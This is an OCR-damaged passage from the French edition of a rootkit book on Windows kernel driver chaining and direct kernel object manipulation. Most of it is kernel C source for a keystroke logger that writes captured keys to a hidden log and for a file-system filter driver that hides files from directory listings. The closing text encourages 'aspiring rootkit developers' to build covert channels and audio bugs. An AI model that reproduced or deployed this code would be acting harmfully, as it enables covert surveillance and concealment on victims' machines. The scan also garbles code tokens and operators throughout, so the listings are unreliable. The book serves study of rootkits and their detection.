fonction utilitaire, ConvertScanCodeoKeyCode. Cette fonction ne comprend que la
disposition de clavier anglaise amricaine mais pourrait aisment tre remplace par
du code valide pour dautres dispositions de clavier.
// Convertit le scancode en un code de touche char keys[3] =
{0};
ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);
// Vrifie que la touche a retourn un code valide // avant
de l'crire dans le fichier. if(keys != 0)

Chapitre 6

Si le handle de fichier est valide, la fonction


code de touche dans le journal :

Chanage de drivers

ZwWriteFile

169

est employe pour crire le

// Ecrit les donnes dans un fichier


if(pKeyboardDeviceExtension->hLogFile != NULL)

{
I0_STATUS_BL0CK io_status;
NTSTATUS status = ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
strlen(keys),
NULL,
NULL);
if(status != STATUS_SUCCESS)
DbgPrint("Writing scan code to file...\n);
else
DbgPrint("Scan code '%s' successfully written to file.\n",keys); }//
Fin du if }// Fin du if }// Fin du while return;
}// Fin de ThreadLogKeyboard

Cest peu prs tout pour les principales oprations de KLOG. Examinons maintenant
la routine Unload :
VOID Unload( IN PDRIVER_OBJECT pDriverObject)

{
// Rcupre le pointeur vers l'extension de priphrique PDEVICE_EXTENSION
pKeyboardDeviceExtension =
(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
DbgPrint("Driver Unload Called...\n");

Le driver doit se dtacher du priphrique sous-jacent au moyen de la fonction


IoDetachDevice :
// Le driver se dtache du priphrique sous-jacent auquel il tait hook
IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
DbgPrint("Keyboard hook detached from device...\n");

Un temporisateur est cr, puis KLOG entre dans une courte boucle jusqu ce que le
traitement de tous les IRP soit termin :
// Cre un temporisateur KTIMER kTimer;
LARGE_INTEGER timeout;
timeout.QuadPart = 1000000;// .1 s
KelnitializeTimer(&kTimer);

170 Rootkits

Infiltrations du noyau Windows

Si un IRP est dans lattente dune touche, le dchargement naura pas lieu tant quune
touche naura pas t presse :
whilefnumPendinglrps > 0)

{
// Dfinit le temporisateur
KeSetTimer(&kTimer,timeout,NULL);
KeWaitForSingleObj ect(
&kTimer,
Executive,
KernelMode,
false,
NULL);

KLOG indique maintenant que le thread devrait se terminer :


// Dfinit le thread pour qu'il se termine
pKeyboardDeviceExtension->bThreadTerminate = true;
// Rveille le thread s'il est bloqu et en attente aprs cet appel
KeReleaseSemaphore(
&pKeyboardDeviceExtension->semQueue,
0,

1,

TRUE);

KLOG appelle KeWaitForSingleObj


thread se termine :

ect

avec le pointeur de thread, attendant que le

// Attend que le thread se termine DbgPrint("Waiting for key logger


thread to terminate...\n");
KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,
Executive,
KernelMode,
false,NULL);
DbgPrint("Key logger thread terminated\n");

Pour finir, le fichier journal est ferm :


// Ferme le fichier journal
ZwClose(pKeyboardDeviceExtension->hLogFile);

Puis une routine de nettoyage est excute :


// Supprime le priphrique
IoDeleteDevice(pDriverObj ect->DeviceObj ect);
DbgPrint("Tagged IRPs dead...Terminating...\n");
return;

}
Le sniffeur de clavier est maintenant complet. Ce code est important en ce quil
constitue un point de dpart idal pour se brancher sur dautres rootkits chans.

Chapitre 6

Chanage de drivers 171

De plus, un sniffeur de clavier reprsente lun des rootkits les plus utiles qui soient. La
frappe peut rvler beaucoup de choses et fournir de nombreuses preuves.

Drivers de filtrage de fichiers


Les drivers chans peuvent tre appliqus de nombreuses cibles, le systme de
fichiers faisant partie des plus importantes. Un driver chan pour le systme de
fichiers est en fait plutt complexe, principalement du fait que les mcanismes de
gestion de fichiers offerts par Windows sont trs robustes.
Le systme de fichiers est dun intrt particulier pour les rootkits pour des raisons de
furtivit. Nombre de rootkits ont besoin dy stocker des fichiers, lesquels doivent rester
masqus. Il est possible demployer des hooks comme ceux couverts au Chapitre 4
pour dissimuler des fichiers, mais cette technique est facilement dtectable. De plus,
hooker la table de descripteurs de services systme ne permet pas de cacher des
fichiers ou des rpertoires sils sont monts sur un partage SMB. Nous dcrivons dans
cette section une meilleure approche qui sappuie sur un driver chan 1.
Nous allons commencer par examiner la routine DriverEntry :
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath )

for( i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++ )

{
DriverObject->MajorFunction[i] = OurDispatch;

}
DriverObject->FastIoDispatch = &OurFastIOHook;

Nous dfinissons le tableau MajorFunction pour quil pointe vers notre routine de
dispatching. Nous dfinissons galement une table de dispatching pour les appels
Fastlo. Cette table est une autre mthode au moyen de laquelle les drivers du systme
de fichiers peuvent communiquer. Cette mthode est propre ce type de drivers.

1. Nous couvrons la thorie de cette approche seulement. Aucun code nest disponible en tlchargement.

172 Rootkits

Infiltrations du noyau Windows

Une fois la table de dispatching en place, nous pouvons hooker les units de disque.
Nous appelons la fonction HookDriveSet1 pour installer des hooks sur toutes les lettres
dunits disponibles :
DWORD d_hDrives = 0;
// Initialise les units hooker for (i = 0; i
< 26; i++)
DriveHookDevices[i] = NULL;
DrivesToHook = 0;
ntStatus = GetDrivesToHook(&d_hDrives);
if(!NT_SUCCESS(ntStatus)) return ntStatus;
HookDriveSet(d_hDrives, DriverObject);

Voici le code permettant dobtenir la liste des units hooker :


NTSTATUS GetDrivesToHook(DWORD *d_hookDrives)

{
NTSTATUS ntstatus;
PROCESS_DEVICEMAP_INFORMATION s_devMap;
DWORD MaxDriveSet, CurDriveSet; int drive;
if (d_hookDrives == NULL) return STATUSJJNSUCCESSFUL;

Notez lemploi du handle "magique" pour le processus courant :


ntstatus = ZwQuerylnformationProcess((HANDLE) 0xffffffff,
ProcessDeviceMap,
&s_devMap,
sizeof(s_devMap),
NULL);
if(!NT_SUCCESS(ntstatus)) return ntstatus;
// Rcupre les units disponibles MaxDriveSet =
s_devMap.Query.DriveMap;
CurDriveSet = MaxDriveSet;
for ( drive = 0; drive < 32; ++drive )

{
if ( MaxDriveSet & (1 drive) )

{
switch (s_devMap.Query.DriveType[drive])

1. Les fonctions HookDrive et HookDriveSet ont t adaptes et proviennent du code source publi de
Filemon, un outil disponible sur www.sysinternals.com. Ce code-ci a t considrablement modifi et
sexcute entirement dans le noyau. Le code source de Filemon nest plus disponible en tlchargement sur
Sysinternals.

Chanage de drivers 173

Chapitre 6

Nous commenons par liminer les units que nous voulons ignorer :
Il Elimine les units qui ne nous intressent pas
case DRIVE_UNKNOWN:// Le type d'unit ne peut pas tre dtermin case
DRIVE_NO_ROOT_DIR:// Le rpertoire racine n'existe pas CurDriveSet &=
~(1 drive); break;
// L'unit peut tre supprime.
// Il vaut mieux viter de placer des fichiers cachs //
sur une unit supprimable car nous ne contrlerons // pas
ncessairement l'ordinateur sur lequel elle // sera
monte ensuite, case DRIVE_REMOVABLE:
CurDriveSet &= ~(1 drive); break;
// L'unit est un lecteur de CD-ROM case DRIVE_CDROM:
CurDriveSet &= -(1 drive); break;

Nous allons hooker les units suivantes : DRIVE_FIXED,

DRIVE_REM0TE

et

DRIVE_RAMDISK.

Le code continue comme ceci :


}
}
}
*d_hookDrives = CurDriveSet;
return ntstatus;

Voici le code pour hooker le groupe dunits :


ULONG HookDriveSet(IN ULONG DriveSet,
IN PDRIVER_OBJECT DriverObject)

{
PHOOK_EXTENSION hookExt;
ULONG drive, i;
ULONG bit;
// Scanne la table d'units, recherchant les units hooker //
l'aide du masque binaire DriveSet for ( drive = 0; drive < 26;
++drive )

{
bit = 1 drive;
// Cette unit doit-elle tre hooke ?
if( (bit & DriveSet) && !(bit & DrivesToHook))

{
if( !HookDrive( drive, DriverObject ))

{
// Elimine l'unit du groupe si elle ne peut tre hooke DriveSet &=
-bit;

174 Rootkits

Infiltrations du noyau Windows

else

{
Il Hooke les units du mme groupe for( i = 0; i < 26; i++
)

{
if( DriveHookDevices[i] ==
DriveHookDevices[ drive ] )

{
DriveSet |= ( 1i );

}
}
}
}

else if( !(bit & DriveSet) && (bit & DrivesToHook) )

{
// Elimine le hook sur cette unit et toutes celles du groupe for( i =
0; i< 26; i++ )

{
if( DriveHookDevices[i] == DriveHookDevices! drive ] )

{
UnhookDrive( i );
DriveSet &= ~(1 i);

}
}
}
}
// Retourne le groupe d'units hookes DrivesToHook = DriveSet; return
DriveSet;

}
Le code pour liminer le hook dunits individuelles dbute comme ceci :
VOID UnhookDrive(IN ULONG Drive)

{
PH00K_EXTENSI0N hookExt;

Ici, nous liminons le hook des units hookes :


if( DriveHookDevices[Drive] )

{
hookExt = DriveHookDevices[Drive]->DeviceExtension;
hookExt->Hooked = FALSE;

}
}
BOOLEAN HookDrive(IN ULONG Drive, IN PDRIVER_OBJECT DriverObject)

{
I0_STATUS_BL0CK ioStatus;
HANDLE ntFileHandle;

Chapitre 6

Chanage de drivers 175

OBJECT_ATTRIBUTES obj ectAttributes;


PDEVICE_OBJECT fileSysDevice;
PDEVICE_OBJECT hookDevice;
UNICODE_STRING fileNameUnicodeString;
PFILE_FS_ATTRIBUTE_INFORMATION fileFsAttributes;
ULONG fileFsAttributesSize;
WCHAR filename[] = L"\\DosDevices\\A:\\";
NTSTATUS ntStatus;
ULONG i;
PFILE_OBJECT fileObject;
PH00K_EXTENSI0N hookExtension;
if( Drive >= 26 )
return FALSE; // Lettre d'unit illgale
// Teste si cette unit a t hooke
if( DriveHookDevices[Drive] == NULL )

{
filename[12] = (CHAR) (A'+Drive);// Dfinit le nom d'unit

Ici, nous ouvrons le rpertoire racine du volume :


RtlInitUnicodeString(&fileNameUnicodeString, filename);
InitializeObjectAttributes(&objectAttributes, &fileNameUnicodeString,
OBJ_CASE_INSENSITIVE, NULL, NULL);
ntStatus = ZwCreateFile(&ntFileHandle,
SYNCHRONIZE|FILE_ANY_ACCESS,
&obj ectAttributes,
&ioStatus,
NULL,

0
FILE_SHARE_READ|FILE_SHARE_WRITE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT
*1 FILE_DIRECTORY_FILE,
NULL,

0 );
if( !NT_SUCCESS( ntStatus ))

{
Si le programme na pas pu ouvrir lunit, il retourne la valeur FALSE

return FALSE;

}
// Utilise le handle de fichier pour rechercher l'objet fichier.
// Si cela russit, il faudra dcrmenter l'objet fichier.
ntStatus = ObReferenceObjectByHandle(ntFileHandle,
FIL E_R EAD_DATA,
NULL,
KernelMode,
&fileObj ect,
NULL);
if( !NT_SUCCESS( ntStatus ))

176 Rootkits

Infiltrations du noyau Windows

Si le programme na pas pu rcuprer lobjet fichier partir du handle, il retourne la


valeur FALSE :
ZwClose( ntFileHandle ); return FALSE;

}
// Rcupre l'objet priphrique partir de l'objet fichier fileSysDevice =
IoGetRelatedDeviceObject( fileObject ); if(!fileSysDevice)

{
Si le programme na pas pu rcuprer lobjet priphrique, il retourne la valeur
FALSE :

ObDereferenceObject( fileObject );
ZwClose( ntFileHandle ); return FALSE;

}
// Examine la liste de priphriques pour dterminer si nous //
sommes dj attachs celui-ci.
// Cela peut arriver lorsque plusieurs lettres d'units sont // gres
par le mme redirecteur rseau. for( i = 0; i < 26; i++ )

{
if( DriveHookDevices[i] == fileSysDevice )

{
// Si nous surveillons dj ce priphrique, associe la lettre //
d'unit celles qui sont gres par le mme driver de rseau.
// Ceci nous permet d'actualiser intelligemment les menus // de hooking
lorsque l'utilisateur spcifie que l'un des // groupes ne devrait pas
tre surveill - nous marquons toutes // units associes comme non
surveilles galement. ObDereferenceObj ect(fileObject);
ZwClose(ntFileHandle);
DriveHookDevices[ Drive ] = fileSysDevice;
return TRUE;

}
}
// Le priphrique du systme de fichiers n'a pas encore t hook. //
Cre un objet priphrique de hooking qui y sera attach. ntStatus =
IoCreateDevice(DriverObject, sizeof(H00K_EXTENSI0N),
NULL,
fileSysDevice->DeviceType,
fileSysDevice->Characteristics,
FALSE,
&hookDevice);
if(!NT_SUCCESS(ntStatus))

Chanage de drivers 177

Chapitre 6

Si le programme na pas pu crer le priphrique associ, il retourne la valeur


FALSE :
ObDereferenceObject( fileObject );
ZwClose( ntFileHandle ); return
FALSE;

}
// Met zro le flag d'initialisation du priphrique.
// Si nous ne le faisons pas, cela suppose que personne // ne pourra
se chaner sur nous, ce qui peut tre // l'effet recherch dans
certains cas. hookDevice->Flags &= ~DO__DEVICE_INITIALIZING;
hookDevice->Flags |= (fileSysDevice->
Flags & (DO_BUFFERED_IO | DO_DIRECT_IO));
// Dfinit les extensions de priphriques. La lettre // d'unit et
l'objet systme de fichiers sont stocks // dans l'extension.
hookExtension = hookDevice->DeviceExtension;
hookExtension->LogicalDrive = 'A'+Drive; hookExtension>FileSystem = fileSysDevice; hookExtension->Hooked =
TRUE; hookExtension->Type = STANDARD;
// Nous nous attachons au priphrique.
// A partir de l, nous pouvons commencer recevoir // les IRP
destins au priphrique hook.
ntStatus = IoAttachDeviceByPointer(hookDevice,
fileSysDevice);
if(!NT_SUCCESS(ntStatus))

//

ObDereferenceObj ect(fileObj ect);


ZwClose(ntFileHandle) ; return
FALSE;

// Dtermine s'il s'agit d'une unit NTFS

//
fileFsAttributesSize =
Sizeof( FILE_FS_ATTRIBUTE_INFORMATION) + MAXPATHLEN;
hookExtension->FsAttributes =
(PFILE_FS_ATTRIBUTE_INFORMATION)
ExAllocatePool(NonPagedPool, fileFsAttributesSize); if(hookExtension>FsAttributes && !NT_SUCCESS(
IoQueryVolumeInformtion( fileObj ect, FileFsAttribute Informt ion,
fileFsAttributesSize,
hookExtension->FsAttributes,
&fileFsAttributesSize )))

//

// En cas d'chec, nous n'avons simplement pas // d'attributs pour ce


systme de fichiers.

//

178 Rootkits

Infiltrations du noyau Windows

ExFreePool( hookExtension->FsAttributes ); hookExtension->FsAttributes


= NULL;

}
II
Il Ferme le fichier et actualise la liste d'units Il hookes en
y insrant un pointeur vers l'objet Il priphrique de hooking.
Il
ObDereferenceObject( fileObject );
ZwClosef ntFileHandle );
DriveHookDevices[Drive] = hookDevice;

}
else/l Cette unit est dj hooke

{
hookExtension = DriveHookDevices[Drive]->DeviceExtension; hookExtension>Hooked = TRUE;

}
return TRUE;

}
Notre routine de dispatching est standard :
NTSTATUS OurFilterDispatch(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)

{
PI0_STACK_L0CATI0N currentIrpStack;
currentlrpStack = IoGetCurrentlrpStackLocation(Irp);
IoCopyCurrentlrpStackLocationToNext(Irp);

Voici la section la plus importante de la routine de dispatching. Cest ici que nous
dfinissons la routine de terminaison dE/S, laquelle sera appele une fois que lIRP
aura t trait par les drivers sous-jacents ;
IoSetCompletionRoutine( Irp, OurFilterHookDone, NULL, TRUE, TRUE, FALSE );
return IoCallDriver( hookExt->FileSystem, Irp );

}
Tout le filtrage a lieu dans la routine de terminaison :
NTSTATUS
OurFilterHookDone(
IN PDEVICEJDBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context

)
{
IrpSp = IoGetCurrentIrpStackLocation( Irp );

Chapitre 6

Chanage de drivers 179

Nous recherchons ici une requte de rpertoire. Nous vrifions galement que
lexcution se droule au niveau dIRQ PASSIVE_LEVEL :
if(IrpSp->Maj orFunction == IRP_MJ_DIRECTORY_CONTROL &&
IrpSp->MinorFunction == IRP_MN_QUERY_DIRECTORY &&
KeGetCurrentIrql() == PASSIVE_LEVEL
&& IrpSp->Parameters.QueryDirectory.FilelnformationClass ==
FileBothDirectoryInformt ion )

{
PFILE_BOTH_DIR_INFORMATION volatile QueryBuffer = NULL;
PFILE_BOTH_DIR_INFORMATION volatile NextBuffer = NULL;
ULONG bufferLength;
DWORD
total_size = 0;
BOOLEAN hide_me = FALSE;
BOOLEAN reset = FALSE;
ULONG
size = 0;
ULONG
itration = 0;
QueryBuffer = (PFILE_BOTH_DIR_INFORMATION) Irp->UserBuffer;
bufferLength = Irp->IoStatus.Information ; if(bufferLength > 0)

{
do

{
DbgPrint("Filename: %ws\n", QueryBuffer->FileName);

Ici, le rootkit peut analyser le nom de fichier et dterminer sil doit le dissimuler. Les
noms cacher peuvent tre prdfinis et chargs dans une liste ou peuvent sinon se
fonder sur des sous-chanes telles quun prfixe - auquel cas un fichier sera dissimul
si son nom inclut un ensemble spcifique de caractres de prfixe - ou une extension
de fichier spciale. Nous laissons cette partie au lecteur titre dexercice.
Nous choisissons de cacher le fichier et dfinissons un flag indiquant cela :
hide_me = TRUE;

Pour cacher un fichier, le rootkit doit modifier le tampon QueryBuffer en supprimant


lentre associe. Il doit grer les choses diffremment selon quil sagit de la premire
ou de la dernire entre ou dune entre intermdiaire :
if(hide_me && itration == 0)

180 Rootkits

Infiltrations du noyau Windows

Ce point est atteint lorsque le premier fichier de la liste doit tre cach. Ensuite, le
programme vrifie sil sagit de la seule entre de la liste :
if ((IrpSp->Flags == SL_RETURN_SINGLE_ENTRY) ||
(QueryBuffer->NextEntryOffset == 0))

{
Ce point est atteint lorsque la liste ne contient que cette entre. Nous mettons zro le
tampon de requte et signalons que nous retournons zro octet :
RtlZeroMemory(QueryBuffer, sizeof(FILE_BOTH_DIR_INFORMATION)); total_size =
0;

}
else

{
Ce point est atteint si la liste contient dautres entres. Nous rectifions la taille totale
que nous retournons et supprimons lentre voulue :
total_size -= QueryBuffer->NextEntryOffset ; temp =
ExAllocatePool(PagedPool, total_size); if (temp != NULL)

{
RtlCopyMemory(temp, ((PBYTE)QueryBuffer + QueryBuffer->
NextEntryOffset), **total_size);
RtlZeroMemory(QueryBuffer, total_size + QueryBuffer->Next^EntryOff set ) ;
RtlCopyMemory(QueryBuffer, temp, total_size);
ExFreePool(temp);

}
Nous dfinissons un flag pour indiquer que nous avons dj rectifi le tampon
QueryBuffer :
reset = TRUE;

}
>
else if ((itration > 0) && (QueryBuffer->NextEntryOffset != 0)
&& (hide_me))

{
Ce point est atteint si nous dissimulons un lment qui se trouve au milieu de la liste.
Le programme limine lentre et corrige la taille retourner :
size = ((PBYTE) inputBuffer + Irp->IoStatus.Information) (PBYTE)QueryBuffer - QueryBuffer->NextEntryOffset ; temp =
ExAllocatePool(PagedPool, size); if (temp != NULL)

Chanage de drivers 181

Chapitre 6

RtlCopyMemory(temp, ((PBYTE)QueryBuffer + QueryBuffer->


NextEntryOffset), size);
total_size -= QueryBuffer->NextEntryOffset ;
RtlZeroMemory(QueryBuffen, size + QueryBuffer->NextEntryOffset);
RtlCopyMemory(QueryBuffer, temp, size);
ExFreePool(temp);

Nous dfinissons de nouveau le flag


le tampon QueryBuffer :

reset

pour indiquer que nous avons dj rectifi

reset = TRUE;

}
else if ((itration > 0) && (QueryBuffer->NextEntryOffset == 0)
&& (hide_me))

{
Ce point est atteint si nous dissimulons la dernire entre de la liste. Eliminer lentre
est beaucoup plus ais dans ce cas puisquelle est simplement supprime de la fin de la
liste chane. Nous ne traitons pas cela comme une correction du tampon QueryBuffer :
size = ((PBYTE) inputBuffer + Irp->
IoStatus.Information) - (PBYTE) QueryBuffer;
NextBuffer->NextEntryOffset = 0; total_size -= size;

}
Le rootkit passe ensuite lentre suivante, si le tampon na pas encore t rectifi (ce
qui indiquerait que le traitement de la liste est termin) :
itration += 1 ; if(! reset)

{
NextBuffer = QueryBuffer;
QueryBuffer = (PFILE_BOTH_DIR_INFORMATION)((PBYTE) QueryBuffer +
QueryBuffer->NextEntryOffset);

while(QueryBuffer != NextBuffer)

Une fois le traitement termin, la taille totale du nouveau tampon


dfinie dans lIRP :
IRP->IOSTATUS.INFORMATION = TOTAL_SIZE;

Ensuite, lIRP est marqu comme tant en attente si ncessaire ;


if( Irp->PendingReturned )
{
IoMarkIrpPending( Irp );

QueryBuffer

est

182 Rootkits

Infiltrations du noyau Windows

Ltat de lIRP est retourn :


return Irp->IoStatus.Status;

}
Lorsquun appel Fastlo a lieu, le code prend un chemin diffrent. Dabord, nous
initialisons la table de dispatching pour les appels Fastlo en tant que structure de
pointeurs de fonctions :
FAST_I0_DISPATCH OurFastlOHook = {
Sizeof(FAST_IO_DISPATCH),
FilterFastloCheckifPossible,
FilterFastloRead,
FilterFastloWrite,
FilterFastloQueryBasicInfo,
FilterFastloQueryStandardlnfo,
FilterFastloLock,
FilterFastIoUnlockSingle,
FilterFastloUnlockAll,
FilterFastloUnlockAllByKey,
FilterFastloDeviceControl,
FilterFastloAcquireFile,
FilterFastloReleaseFile,
FilterFastloDetachDevice,
FilterFastloQueryNetworkOpenlnfo,
FilterFastloAcquireForModWrite,
FilterFastloMdlRead,
FilterFastloMdlReadComplete,
FilterFastloPrepareMdlWrite,
FilterFastloMdlWriteComplete,
FilterFastloReadCompressed,
FilterFastloWriteCompressed,
FilterFastloMdlReadCompleteCompressed,
FiltenFastloMdlWriteCompleteCompressed,
FilterFastloQueryOpen,
FilterFastloReleaseForModWrite,
FilterFastloAcquireForCcFlush,
FilterFastloReleaseForCcFlush

};
Chaque appel passe par lappel rel de FastlO. Autrement dit, nous ne filtrons aucun
des appels FastlO. La raison est que les requtes de listage de fichiers et de
rpertoires ne sont pas implmentes en tant quappels FastIO, lesquels utilisent une
macro1 :
#define FASTIOPRESENT( _hookExt, _call ) \
(_hookExt->FileSystem->DriverObject->FastIoDispatch && \

1. La macro FASTIOPRESENT a t crite par Mark Russinovich (Sysinternals) pour lutilitaire Filemon. Le code
source nest plus disponible.

Chapitre 6

Chanage de drivers 183

(((ULONG)&_hookExt->FileSystem->DriverObject->FastIoDispatch->_call - \
(ULONG) &_hookExt->FileSystem-> DriverObject->FastIoDispatch>SizeOfFastloDispatch < \
(ULONG) _hookExt->FileSystem->DriverObject->FastIoDispatch>SizeOfFastloDispatch )) && \
hookExt->FileSystem->DriverObject->FastIoDispatch->_call )

Voici un exemple dappel de passage. Tous ces appels possdent un format similaire.
Chacun deux doit tre dfini, mais aucun filtrage na lieu dans aucun dentre eux. Ils
sont documents dans le fichier Ntddk. h ou dans le kit IFS (Installable File System)
disponible auprs de Microsoft.
BOOLEAN
FilterFastIoQeryStandardInfo(
IN PFILEJDBJECT FileObject,
IN BOOLEAN Wait,
OUT PFILE_STANDARD_INFORMATION Buffer,
OUT PIO_STATUS_BLOCK IoStatUS,
IN PDEVICE_OBJECT DeviceObject

)
{
BOOLEAN
retval = FALSE;
PH00K_EXTENSI0N hookExt;
if( !DeviceObject ) return FALSE;
hookExt = DeviceObject->DeviceExtension;
if( FASTIOPRESENT( hookExt, FastloQueryStandardlnfo))

{
retval = hookExt->FileSystem->DriverObject->FastIoDispatch->
FastIoQueryStandardInfo( FileObject, Wait, Buffer, IoStatus,
hookExt->FileSystem );

}
return retval;

}
Le driver de filtrage de fichiers est prsent termin.
Selon leurs fonctionnalits, les filtres de fichiers comptent parmi les drivers de
priphriques les plus difficiles crire correctement. Nous esprons que cette
prsentation vous aura aid comprendre le fonctionnement de base dun rootkit
lorsquil effectue un filtrage au niveau du systme de fichiers pour cacher des fichiers
et des rpertoires. Celui dcrit dissimule uniquement des fichiers et des rpertoires et il
nest donc pas aussi compliqu que certains autres filtres. Pour en savoir plus sur les
systmes de fichiers, nous vous recommandons louvrage de R. Nagar1.
1. R. Nagar, Windows NT File System Internais: A Developers Guide (Sbastopol, CA : OReilly & Associates,
1997).

184 Rootkits

Infiltrations du noyau Windows

Conclusion
Le chanage de drivers reprsente un moyen fiable et robuste dintercepter et de
modifier des donnes dans un systme. Il peut tre employ non seulement des fins
de furtivit, mais aussi pour la collecte et la modification de donnes. Les lecteurs
audacieux et les aspirants dveloppeurs de rootkits peuvent tendre les exemples de ce
chapitre pour intercepter ou modifier des donnes de rseau, crer des canaux de
communication secrets, intercepter ou crer des signaux vido et mme crer des bugs
audio.

7
Manipulation directe
des objets du noyau
Gnralement, la meilleure stratgie guerrire consiste prendre le pays de
lennemi intact ; le dtruire est une tactique infrieure.
- Sun Tzu

Dans les chapitres prcdents, nous avons explor un grand nombre de techniques de
hooking. Le hooking dun systme dexploitation est une approche efficace, surtout en
raison de limpossibilit de pouvoir compiler un rootkit pour ldition du systme vis.
Dans certains cas, le hooking est la seule mthode dont dispose un dveloppeur de
rootkit.
Toutefois, comme nous lavons vu dans les chapitres prcdents, le hooking nest pas
exempt dinconvnients. Si quelquun sait o rechercher, un hook peut gnralement
tre dtect. Cest mme simple, comme vous le verrez au Chapitre 10, en employant
un utilitaire appel VICE. De plus, les mcanismes de protection du noyau, tels que le
placement de certaines pages mmoire en lecture seule (aujourdhui ou dans un proche
futur), rendront la technique du hooking inutilisable.
Dans ce chapitre, nous tudierons une technique fonde sur la manipulation directe des
objets du noyau appele DKOM (Direct Kernel Object Manipulation). Elle permet de
modifier certains objets dont se sert le noyau pour sa gestion interne.

186

Rootkits

Infiltrations du noyau Windows

Aprs avoir lu ce chapitre, vous comprendrez comment des processus et des drivers
peuvent tre dissimuls sans implmenter aucun hook.
Vous apprendrez aussi comment modifier le jeton daccs dun processus afin
dobtenir des privilges de niveau systme ou administrateur sans avoir effectuer
dappel API. Il est trs difficile de prvenir une attaque de ce genre.
INFO

jjg --------------------------------------------------------------------------------------------------------

Dans ce chapitre, les termes objet et structure sont utiliss de faon interchangeable. "Objet"
est le terme que Microsoft emploie pour se rfrer aux structures du noyau.

Avantages et inconvnients de la technique DKOM


Avant de nous plonger dans les spcificits de cette technique, il est important den
comprendre les avantages mais aussi les inconvnients. Pour un attaquant, un aspect
positif est quelle est extrmement difficile dtecter. Dans des circonstances
normales, la modification dobjets du noyau, tels que des processus ou des jetons
daccs, ncessite de passer par le Gestionnaire dobjets (Object Manager). Cest le
point central daccs aux objets et il fournit les fonctionnalits qui leur sont
communes, par exemple pour leur cration, leur suppression ou leur protection. La
technique DKOM permet de contourner ce composant majeur et, par l mme, tous les
contrles daccs affrents aux objets.
Dun autre ct, cette technique se montre extrmement fragile et le dveloppeur devra
se poser certaines questions :
Quelle est lapparence de lobjet vis, quels sont ses membres ? Cest une
question laquelle il est parfois difficile de rpondre. Lors des recherches
entames dans le cadre de ce livre, la seule faon dy rpondre tait de travailler
avec des utilitaires de debugging, tels que Softlce (de la socit Compuware) ou
autre. Rcemment, Microsoft a facilit cette tche. En utilisant WinDbg, un
debugger tlchargeable gratuitement partir de son site, vous pouvez afficher les
membres dobjets au moyen de la commande dt nt!_nom_d' objet. Par exemple,
pour lister tous les membres de la structure EPROCESS, saisissez dt nt !_EPR0CESS.
Connatre les lments grs en tant quobjets par le systme pose toujours
problme, et tous les objets ne sont pas recenss dans WinDbg.

Chapitre 7

Manipulation directe des objets du noyau 187

De quelle manire le noyau utilise-t-il les objets ? Vous ne saurez pas comment ou
pour quelle raison modifier un objet si vous ne comprenez pas son rle. Sans une
comprhension profonde de la faon dont il est utilis dans le noyau, vous
risqueriez de faire de nombreuses suppositions errones.

Lobjet change-t-il aprs un changement majeur de version du systme


dexploitation ou mme aprs une release mineure de Service Pack ?
Beaucoup dobjets parmi ceux que vous utiliserez par le biais de cette technique
changent avec lintroduction dune nouvelle version du systme. Les objets sont
conus pour tre opaques au programmeur mais, puisque vous les modifierez
directement, vous devez comprendre le moindre changement pour le prendre en
considration. Puisque vous ne travaillerez pas avec des appels de fonctions pour
les modifier, la compatibilit de votre approche avec une autre version du systme
ne sera pas garantie.
H Quand lobjet est-il utilis ? Nous signifions quand non pas dans un sens temporel
mais plutt relativement ltat du systme dexploitation ou de la machine. Cest
une question importante car certaines zones de mmoire et certaines fonctions ne
sont pas toujours disponibles selon le niveau de la requte dinterruption (IRQL)
en cours. Par exemple, si un thread est excut au niveau dIRQL DISPATCH_LEVEL,
il ne peut accder une mmoire pagine vers le disque, ce qui provoquerait une
faute de page dans le noyau.
Un autre aspect ngatif de la technique DKOM est que vous ne pouvez pas lutiliser
pour toutes les fonctionnalits dun rootkit. Seuls les objets que le noyau garde en
mmoire et utilise pour la gestion (accounting) peuvent tre manipuls. Par exemple,
le systme gre une liste de tous les processus actifs. Comme nous le verrons dans ce
chapitre, elle peut tre utilise pour cacher des processus. Dun autre ct, il ny a pas
dobjet en mmoire reprsentant tous les fichiers du systme de fichiers. Par
consquent, il ne sera pas possible de cacher des fichiers avec cette technique. Il faut
alors recourir des mthodes plus traditionnelles, telles que le hooking ou le chanage
dun driver de filtrage de fichiers (ces techniques ont t respectivement traites aux
Chapitres 4 et 6).
En dpit de ces limitations, cette technique peut tre employe pour les oprations
suivantes :
H dissimuler des processus ; s
dissimuler des drivers ;

188 Rootkits

Infiltrations du noyau Windows

m dissimuler des ports ;


lever le niveau de privilges dun thread et dun processus ;
B fausser une analyse forensique.
Maintenant que vous avez une ide des avantages et des limites caractrisant cette
technique, voyons ensemble comment la mettre en uvre.

Dterminer la version du systme d'exploitation


Puisque les structures du noyau changent avec lintroduction dune nouvelle version
du systme dexploitation, et parfois avec celle dun Service Pack, un root- kit doit
pouvoir dtecter la version du systme sur lequel il sera excut. A notre sens,
lemploi dadresses ou doffsets cods en dur nest pas une bonne pratique de codage.
Le code doit pouvoir sadapter son contexte. Lobjectif est de compiler une fois, ou
au plus deux fois, et de pouvoir lexcuter partout.
Si le rootkit doit avoir une portion en mode utilisateur, il faut dterminer la version du
systme dans un processus utilisateur au moyen de lAPI Win32. Une autre solution
est de la dterminer dans le noyau. La premire mthode est beaucoup plus simple.

Autodtermination du mode utilisateur


Avec lAPI Win32, vous pouvez utiliser la structure OSVERSIONINFO ou OSVERSIONINFOEX
pour obtenir des informations sur les versions majeures et mineures du systme
dexploitation. La version EX spcifie aussi les versions majeures et mineures de
Service Pack.

OSVERSIONINFO versus OSVERSIONINFOEX


Si vous projetez d'utiliser OSVERSIONINFO ou OSVERSIONINFOEX, sachez que certaines
versions de Windows ne supportent pas la version EX de la structure. Le membre
size indique la version de la structure utilise. Dans les deux cas, vous pouvez
appeler la mme fonction GetVersionEx. Dans le cas de OSVERSIONINFO, vous devez
analyser l'lment szCSDVersion pour dterminer le niveau du Service Pack.

